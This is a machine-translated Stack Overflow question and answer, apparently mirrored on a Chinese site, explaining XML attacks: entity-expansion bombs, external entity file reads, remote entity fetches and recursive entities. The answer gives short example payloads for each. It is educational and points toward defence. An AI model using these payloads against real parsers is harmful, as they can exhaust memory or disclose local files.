首页
学习
活动
专区
圈层
工具
发布

xml漏洞
EN

Stack Overflow用户
提问于 2009-12-15 11:51:34
回答 1查看 7.3K关注 0票数 11

xml已经成为面向服务的应用程序(SOA)的骨干,在不久的将来它将是一个有用的应用程序。由于xml简单、灵活,很容易使其易受攻击,攻击者可以将其用于自己的目的。因此,一些攻击是由强制解析攻击、xml外部实体(XEE)攻击、xml dos(xdos)攻击、xml炸弹攻击造成的。

有谁能详细说明这些袭击。

一个人如何能够在一个系统中模拟这些攻击呢?

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2009-12-15 13:33:49

首先,我们需要区分攻击的效果和被利用的特征。

可以利用的XML的特定特性包括

  • XML实体
  • 解析器和验证器的专有扩展
  • 循环/递归引用
  • 远程访问

其效果可以是

  • DOS
  • 信息披露

我不认为“炸弹”有明显的定义,但它指的是一种特别“紧凑”和“扩大”的攻击。“强制解析攻击”利用XML模型的本质来压倒解析器。

下面的例子摘自XML拒绝服务攻击与防御。另外,如果你懂法语,请阅读优秀的杂志"La security des web services“。

示例1

使用实体的炸弹,会导致DOS,因为它耗尽了内存

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE kaboom [
  <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

如果您有50'000 "aaaa...aaa“和50'0000 &a:&a;...&a;,那么200 in的有效载荷将扩展到内存中的2GB以上。

示例2

可以使用实体以未经授权的方式访问另一个文件。这就导致了信息披露。

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>

示例3

使用某些解析器访问远程资源的能力(请参阅http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在开始计算如果文件bigfile.xml为2GB会发生什么情况。这可能会导致DOS。

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE letter [
     <!ENTITY file  SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>

示例4

这种递归会导致内存耗尽,甚至可能导致DOS。

代码语言:javascript
复制
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">

如果这是作业,那么您也应该考虑如何保护自己免受这种攻击。

票数 19
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/1906927

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档